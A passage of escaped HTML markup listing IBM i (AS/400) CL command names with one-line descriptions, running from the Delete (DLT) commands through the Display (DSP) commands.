Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTAPARDTA Delete APAR Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTAUTHLR Delete Authority Holder\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTAUTL Delete Authorization List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTBESTMDL Delete BEST/1 model\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTBNDDIR Delete Binding Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCFGL Delete Configuration List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCLD Delete C Locale Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCLS Delete Class\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCMD Delete Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCMNTRC Delete Communications Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCNNL Delete Connection List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCOSD Delete Class-of-Service Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCRQD Delete CRQ Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCSI Delete Comm Side Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCSPMAP Delete CSP/AE Map Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTCTLD Delete Controller Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDEVD Delete Device Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDEVMLB Delete Device Media Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDFUPGM Delete DFU Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDKTLBL Delete Diskette Label\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDLO Delete Do*****ent Library Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDOCL Delete Do*****ent List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDST Delete Distribution\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDSTL Delete Distribution List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDTAARA Delete Data Area\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDTADCT Delete Data Dictionary\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTDTAQ Delete Data Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTEDTD Delete Edit Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTF Delete File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTFCNARA Delete Functional Area\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTFCT Delete Forms Control Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTFNTRSC Delete Font Resource\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTFNTTBL Delete Font Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTFORMDF Delete Form Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTFTR Delete Filter\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTGPHFMT Delete Graph Format\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTGPHPKG Delete Graph Package\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTGSS Delete Graphic Symbol Set\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTHSTDTA Delete Historical Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTIPXD Delete IPX Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTJOBD Delete Job Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTJOBQ Delete Job Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTJRN Delete Journal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTJRNRCV Delete Journal Receiver\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTLIB Delete library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTLICPGM Delete Licensed Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTLIND Delete Line Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTLOCALE Delete Locale\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTM36 Delete Machine\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTM36CFG Delete Machine Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTMNU Delete Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTMOD Delete Module\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTMODD Delete Mode Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTMSGF Delete Message File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTMSGQ Delete Message Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTNETF Delete Network File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTNODGRP Delete Node Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTNODL Delete Node List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTNTBD Delete NetBIOS Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTNWID Delete Network Interface Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTNWSALS Delete Network Server Alias\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTNWSAPP Delete Network Server App\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTNWSD Delete Network Server Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTNWSSTG Delete NWS Storage Space\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTOUTQ Delete Output Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTOVL Delete Overlay\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTOVR Delete Override\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTOVRDEVE Delete Override Pgm Dev Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPAGDFN Delete Page Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPAGSEG Delete Page Segment\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPDG Delete Print Descriptor Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPEXDTA Delete PEX Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPFRDTA Delete Performance Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPGM Delete Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPNLGRP Delete Panel Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPRB Delete Problem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPSFCFG Delete PSF Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTPTF Delete Program Temporary Fix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTQMFORM Delete Query Management Form\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTQMQRY Delete Query Management Query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTQRY Delete Query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTQST Delete Questions and Answers\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTQSTDB Delete Q/A Database\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTRJECFG Delete RJE Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTSBSD Delete Subsystem Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTSCHIDX Delete Search Index\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTSHF Delete Bookshelf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTSPADCT Delete Spelling Aid Dictionary\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTSPLF Delete Spooled File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTSQLPKG Delete SQL Package\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTSRVPGM Delete Service Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTSSND Delete Session Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTTAPCGY Delete Tape Category\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTTBL Delete Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTUDFS Delete User-Defined FS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTUSRIDX Delete User Index\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTUSRPRF Delete User Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTUSRQ Delete User Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTUSRSPC Delete User Space\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTVLDL Delete Validation List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTWSCST Delete WSCST\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLYJOB Delay Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDMPCLPGM Dump CL Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDMPDLO Dump Do*****ent Library Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDMPJOB Dump Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDMPJOBINT Dump Job Internal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDMPOBJ Dump Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDMPSYSOBJ Dump System Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDMPTAP Dump Tape\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDMPTRC Dump Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDO Do Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSCJOB Disconnect Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPACC Display Access Code\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPACCAUT Display Access Code Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPACCGRP Display Access Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPACTPJ Display Active Prestart Jobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPACTPRFL Display Active Profile List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPACTSCD Display Activation Schedule\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPAPPNINF Display APPN Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPAUDJRNE Display Audit Journal Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPAUT Display Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPAUTHLR Display Authority Holder\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPAUTL Display Authorization List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPAUTLDLO Display Authorization List DLO\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPAUTLOBJ Display Authorization List Obj\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPAUTUSR Display Authorized Users\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPBCKSTS Display Backup Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPBCKUP Display Backup Options\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPBCKUPL Display Backup List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPBKP Display Breakpoints\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPBNDDIR Display Binding Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCCTRTE Display Circuit Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCCTSRV Display Circuit Service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCDEFNT Display Coded Font\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCFGL Display Configuration List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCLS Display Class\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCMD Display Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCNNL Display Connection List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCNNSTS Display Connection Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCOSD Display Class-of-Service Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCPCST Display CHKPND Constraint\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCSI Display Comm Side Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCTLD Display Controller Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPCURDIR Display Current Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDBG Display Debug\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDBGWCH Display Debug Watch\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDBR Display Data Base Relations\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDDMF Display DDM File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDEVD Display Device Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDIRE Display Directory Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDKT Display Diskette\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDLOAUD Display DLO Auditing Level\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDLOAUT Display DLO Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDLONAM Display DLO Name\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDOC Display Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDSTL Display Distribution List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDSTLOG Display Distribution Log\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDSTSRV Display Distribution Services\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDTA Display Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDTAARA Display Data Area\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPDTADCT Display Data Dictionary\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPEDTD Display Edit Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPEWCBCDE Display EWC Barcode Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPEWCM Display Wireless Ctl Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPEWCPTCE Display EWC PTC Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPEWLM Display Wireless Line Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPEXPSCD Display Expiration Schedule\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPFD Display File Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPFFD Display File Field Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPFLR Display Folder\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPFNTRSCA Display Font Resource Attr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPFNTTBL Display Font Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPHDWRSC Display Hardware Resources\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPHFS Display Hierarchical File Sys.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPHLPDOC Display Help Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPHSTGPH Display Historical Graph\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPHSTJS Display History using JS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPIPLA Display IPL Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPIPXCCT Display IPX Circuit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPIPXD Display IPX Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPJOB Display Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPJOBD Display Job Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPJOBJS Display Job using JS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPJOBLOG Display Job Log\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPJOBTBL Display Job Tables\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPJRN Display Journal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPJRNRCVA Display Journal Receiver Atr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPKBDMAP Display Keyboard Map\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLANADPP Display LAN Adapter Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLANMLB Display LAN Media Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLANSTS Display LAN Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLIB Display Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLIBD Display Library Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLIBL Display Library List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLICKEY Display License Key Info\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLIND Display Line Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLNK Display Object Links\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPLOG Display Log\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPM36 Display Machine\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPM36CFG Display Machine Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPMFSINF Display Mounted FS Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPMNUA Display Menu Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPMOD Display Module\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPMODD Display Mode Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPMODSRC Display Module Source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPMODSTS Display Mode Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPMSG Display Messages\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPMSGD Display Message Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNCK Display Nickname\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNETA Display Network Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNODGRP Display Node Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNTBD Display NetBIOS Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNWID Display Network Interface Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNWSA Display NWS Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNWSALS Display Network Server Alias\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNWSD Display Network Server Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNWSSSN Display Network Server Session\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNWSSTC Display NWS Statistics\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDSPNWSSTG Display NWS Storage 